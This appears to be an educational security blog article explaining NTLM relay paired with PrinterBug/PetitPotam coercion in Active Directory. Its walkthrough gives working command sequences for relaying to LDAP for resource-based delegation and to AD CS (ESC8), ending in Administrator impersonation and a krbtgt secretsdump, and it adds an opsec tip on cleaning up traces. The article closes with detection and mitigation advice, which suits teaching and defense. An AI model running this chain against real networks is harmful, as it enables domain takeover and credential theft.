Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
NTLM relay is the attack in which the adversary does not crack a challenge-response exchange but simply forwards it, live, to a third service and authenticates as the victim. NTLM is a challenge-response protocol with no channel binding of its own: the client proves knowledge of its secret by responding to a server-supplied challenge, and nothing in the base protocol ties that proof to the specific TCP connection or service it was meant for. If a machine-in-the-middle receives the authentication, it can relay each message to a different server and be treated as the victim there.
On its own, relay needs a victim to authenticate to the attacker. Coercion supplies that half. Functions in MS-RPRN (the Print System Remote Protocol, “PrinterBug”) and MS-EFSR (the Encrypting File System Remote Protocol, “PetitPotam”) can be invoked by a remote caller to make a target — often a Domain Controller’s machine account — connect back and authenticate to an attacker-chosen host. Combine coercion with a relay to a high-value protocol and you convert an unauthenticated network position into domain-wide compromise: relay to LDAP to configure resource-based delegation, or relay to AD CS web enrollment to mint a certificate for the victim.
Attack Prerequisites
Relay-to-compromise needs a coercible victim, a relay target that does not enforce a binding, and a foothold to fire the coercion:
- A relay target with signing/binding not enforced. For SMB relay the target must have SMB signing not required. For LDAP relay the DC must not enforce LDAP signing and channel binding (EPA) — the default on unpatched/legacy configurations.
- A coercible endpoint exposing MS-RPRN (
\pipe\spoolss) or MS-EFSR (\pipe\lsarpc/\pipe\efsrpc) reachable from the attacker. - Any authenticated context to trigger coercion (a low-priv domain user for PetitPotam’s authenticated methods; some methods historically worked unauthenticated).
- For the RBCD path: the ability to create or control a computer account with an SPN — by default
ms-DS-MachineAccountQuota= 10 lets any user add one. - Network position to receive the inbound authentication (same segment or a routable listener).
How It Works
The victim’s authentication carries a Net-NTLMv2 response — a keyed hash over the server challenge that is not reversible to the password but is fully reusable inside a live session. The mitigation the protocol offers is session signing / channel binding: SMB signing cryptographically binds messages to the negotiated session, and LDAP signing plus channel binding (Extended Protection for Authentication) binds the auth to the TLS channel. Where those are not *enforced*, the relayed session is accepted and the attacker acts as the victim. Crucially, you cannot relay SMB back to the same host the auth came from (MS08-068 reflection is fixed) — but you can cross-protocol relay SMB auth to LDAP, or to HTTP-based AD CS enrollment, which those defenses historically did not cover.
Coercion abuses “call me back” RPC methods. In MS-RPRN, RpcRemoteFindFirstPrinterChangeNotificationEx takes a UNC path and makes the target open a connection to it — authenticating with its machine account. In MS-EFSR, methods such as EfsRpcOpenFileRaw and EfsRpcEncryptFileSrv take a file path; pass a UNC to the attacker and the target authenticates there. Because a DC coerced this way authenticates as DC$, and a machine account is a powerful principal, the relayed session can do real damage.
Two payoffs dominate. Relay to LDAP with delegation: write msDS-AllowedToActOnBehalfOfOtherIdentity on the victim computer object so an attacker-controlled account is trusted for resource-based constrained delegation (RBCD); then use S4U2Self/S4U2Proxy to obtain a service ticket as any user to that host. Relay to AD CS (ESC8): the Certificate Authority’s web-enrollment interface accepts NTLM over HTTP; relay the coerced DC$ auth to it and enroll a certificate for DC$. A certificate is a durable credential usable via PKINIT for a TGT — and from there, DCSync.
Vulnerable Configuration
Relay lives or dies on whether signing is *required*. On the SMB target the policy “Microsoft network server: Digitally sign communications (always)” maps to a registry value; 0 means signing is not required and the host is relayable:
; HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
RequireSecuritySignature = 0 ; 0 = SMB signing NOT required -> relayable
# Enumerate relayable hosts across the subnet with netexec:
nxc smb 10.0.0.0/24 --gen-relay-list relayable.txt
# [*] 10.0.0.25 signing:False <- goes in the listOn the Domain Controller, LDAP relay is possible when signing and channel binding are not enforced. The two policy values that must both be hard (non-zero) to close it are:
; Domain controller: LDAP server signing requirements
HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\LDAPServerIntegrity = 1
; 1 = None (accepts unsigned) 2 = Require signing
; Channel binding (EPA) for LDAPS
HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\LdapEnforceChannelBinding = 0
; 0 = Never 2 = Always (0/1 leaves LDAPS relayable)Finally the coercion surface: an MS-EFSR endpoint reachable on the target’s lsarpc/efsrpc named pipes, and ms-DS-MachineAccountQuota left at its default so any user can add the computer account needed for the RBCD path:
# Machine account quota (default 10) — lets a normal user create the
# attacker computer used as the RBCD delegate:
Get-DomainObject -Identity 'DC=corp,DC=local' -Properties ms-DS-MachineAccountQuota
# ms-ds-machineaccountquota : 10Walkthrough / Exploitation
Path A — coerce a DC and relay to LDAP for RBCD. Start the relay with --delegate-access, which tells ntlmrelayx to add a delegation entry on the relayed computer object. Add an attacker computer first so we have a delegate principal:
# 1) Create a computer we control (uses default machine account quota)
addcomputer.py -computer-name 'ATTACK$' -computer-pass 'Passw0rd123!' \
-dc-ip 10.0.0.10 corp.local/jdoe:'P@ssw0rd!'
# 2) Relay coerced auth to LDAP and configure RBCD on the victim
ntlmrelayx.py -t ldap://10.0.0.10 --delegate-access --no-dump \
--escalate-user 'ATTACK$' -smb2supportWith the listener up, coerce the target. PetitPotam pushes the target to authenticate to our relay host over MS-EFSR:
# attacker_listener_ip target_ip
python3 PetitPotam.py 10.0.0.50 10.0.0.25
# (PrinterBug alternative: printerbug.py corp.local/jdoe:'P@ssw0rd!'@10.0.0.25 10.0.0.50)Once ntlmrelayx reports it wrote msDS-AllowedToActOnBehalfOfOtherIdentity, use S4U to impersonate a privileged user to the victim, then act with that ticket:
getST.py -spn cifs/target.corp.local -impersonate Administrator \
'corp.local/ATTACK$:Passw0rd123!' -dc-ip 10.0.0.10
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass target.corp.localPath B — coerce a DC and relay to AD CS web enrollment (ESC8). Point the relay at the CA’s HTTP enrollment endpoint and request a DC-capable template. This yields a certificate for the coerced machine account:
ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp \
--adcs --template 'DomainController' -smb2support
# In another shell, coerce DC01 to authenticate to the relay:
python3 PetitPotam.py 10.0.0.50 dc01.corp.localntlmrelayx prints a base64 certificate for DC01$. Turn it into a TGT via PKINIT and then DCSync the domain:
certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10
# -> dc01.ccache (TGT for DC01$)
export KRB5CCNAME=dc01.ccache
secretsdump.py -k -no-pass dc01.corp.local -just-dc-user 'corp\krbtgt'Note: PetitPotam’s original unauthenticated MS-EFSR vector was hardened by Microsoft, but many
EfsRpc*methods remain coercible with a normal domain user, and the coercion itself has no single CVE — it is protocol behaviour, not a bug. Relaying a Domain Controller’s own auth to LDAP to grant RBCD *on the DC* is generally blocked; the RBCD path is most reliable against ordinary servers/workstations, while the AD CS (ESC8) path is what makes coercing a DC devastating.
Opsec: Coercion is noisy: it produces inbound SMB/RPC from the victim to your listener, and the DC logs the outbound authentication. The RBCD write is a directory modification (Event 5136) on the victim computer object, and AD CS issues an auditable certificate. Prefer a listener the target already routes to, and clean up the RBCD attribute and any added computer account afterwards.
Detection and Defense
The chain breaks at any of three points — coercion, relay, or the privileged write — so defense is layered:
- Require SMB signing everywhere and enforce LDAP signing + channel binding (EPA) on Domain Controllers. This alone neutralizes the relay, regardless of coercion.
- Enable Extended Protection for Authentication on AD CS web enrollment (and prefer removing/disabling the HTTP enrollment role) to close ESC8.
- Reduce the coercion surface: disable the Print Spooler where it is not needed (kills PrinterBug), and apply Microsoft’s guidance / filtering for MS-EFSR. Block inbound SMB/RPC from servers to non-infrastructure hosts.
- Set
ms-DS-MachineAccountQuotato 0 so ordinary users cannot add the computer account the RBCD path relies on. - Monitor Event ID 4624/4768 for machine accounts authenticating from unexpected sources, Event 5136 writes to
msDS-AllowedToActOnBehalfOfOtherIdentity, and AD CS certificate issuance for DC/computer templates that don’t match normal enrollment.
Real-World Impact
PetitPotam (2021) and the earlier PrinterBug reshaped internal AD attacks by making a DC’s own machine account a relay victim; paired with the “Certified Pre-Owned” AD CS research (ESC8), the coerce-and-relay chain became a reliable route from a foothold to domain admin without cracking a single password. It is routinely combined with — but distinct from — Zerologon (CVE-2020-1472); the coercion behaviour itself carries no single CVE because it is designed protocol functionality, which is why signing and channel binding, not a patch, are the real fix.
Conclusion
NTLM relay turns “who can make you authenticate” into “who can act as you,” and coercion guarantees the first half against a Domain Controller. The decisive mitigations are structural: enforce signing and channel binding on SMB, LDAP, and AD CS enrollment so relayed authentication is rejected, shrink the coercion surface, and zero the machine account quota. Where those are enforced the entire class simply stops working.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:
Comments